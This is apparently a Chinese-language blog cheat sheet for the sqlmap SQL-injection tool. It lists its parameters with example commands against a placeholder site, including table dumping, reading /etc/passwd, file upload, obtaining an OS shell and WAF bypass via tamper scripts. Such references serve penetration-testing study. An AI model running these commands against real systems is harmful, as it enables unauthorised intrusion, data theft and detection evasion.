网络安全之攻防笔记--通用安全漏洞SQL注入&sqlmap&Oracle&mongodb&DB2

时间:2025-02-24 12:35:38
常见参数
  • 1. 指定目标
    • --data:指定 POST 请求的数据。
      • sqlmap -u "http://example.com/login" --data="username=admin&password=123"
    • --cookie:指定 Cookie。
      • sqlmap -u "http://example.com/page?id=1" --cookie="sessionid=12345"
    • -u 或 --url:指定目标 URL。
      • sqlmap -u "http://example.com/page?id=1"
  • 2. 指定注入点
    • --skip:跳过某些参数的测试。
      • sqlmap -u "http://example.com/page?id=1&name=test" --skip="name"
    • -p:指定需要测试的参数。
      • sqlmap -u "http://example.com/page?id=1&name=test" -p "id"
  • 3. 指定数据库类型
    • --dbms:指定目标数据库类型(如 MySQL、Oracle、PostgreSQL 等)。
      • sqlmap -u "http://example.com/page?id=1" --dbms=MySQL
  • 4. 获取数据库信息
    • --current-db:获取当前数据库名称。
      • sqlmap -u "http://example.com/page?id=1" --current-db
    • --tables:枚举指定数据库的表。
      • sqlmap -u "http://example.com/page?id=1" -D database_name --tables
    • --dbs:枚举所有数据库。
      • sqlmap -u "http://example.com/page?id=1" --dbs
    • --columns:枚举指定表的列。
      • sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --columns
    • --dump:导出表数据。
      • sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump
  • 5. 高级功能
    • --risk:设置风险等级(1-3,默认 1),风险越高,测试越激进。
      • sqlmap -u "http://example.com/page?id=1" --risk=2
    • --threads:设置并发线程数。
      • sqlmap -u "http://example.com/page?id=1" --threads=5
    • --batch:自动选择默认选项,无需用户交互。
      • sqlmap -u "http://example.com/page?id=1" --batch
    • --level:设置测试等级(1-5,默认 1),等级越高,测试越全面。
      • sqlmap -u "http://example.com/page?id=1" --level=3
  • 6. 文件加载
    • -l:从日志文件中加载目标。
      • sqlmap -l logfile.txt
    • -r:从文件中加载 HTTP 请求。
      • sqlmap -r request.txt
  • 7. 绕过 WAF/IDS
    • --tamper:使用脚本绕过 WAF(Web 应用防火墙)或 IDS(入侵检测系统)。
      • sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
  • 8. 其他常用参数
    • --sql-shell:获取 SQL 交互式 shell。
      • sqlmap -u "http://example.com/page?id=1" --sql-shell
    • --file-read:读取服务器上的文件。
      • sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
    • --file-write 和 --file-dest:上传文件到服务器。
      • sqlmap -u "http://example.com/page?id=1" --file-write="local_file" --file-dest="/remote/path"
    • --os-shell:尝试获取操作系统的 shell。
      • sqlmap -u "http://example.com/page?id=1" --os-shell
  • 示例 1:检测注入点
    • sqlmap -u "http://example.com/page?id=1"
  • 示例 2:枚举数据库
    • sqlmap -u "http://example.com/page?id=1" --dbs
  • 示例 3:导出表数据
    • sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump
  • 示例 4:获取操作系统 shell
    • sqlmap -u "http://example.com/page?id=1" --os-shell
  • 示例 5:绕过 WAF
    • sqlmap -u "http://example.com/page?id=1" --tamper=space2comment --level=5 --risk=3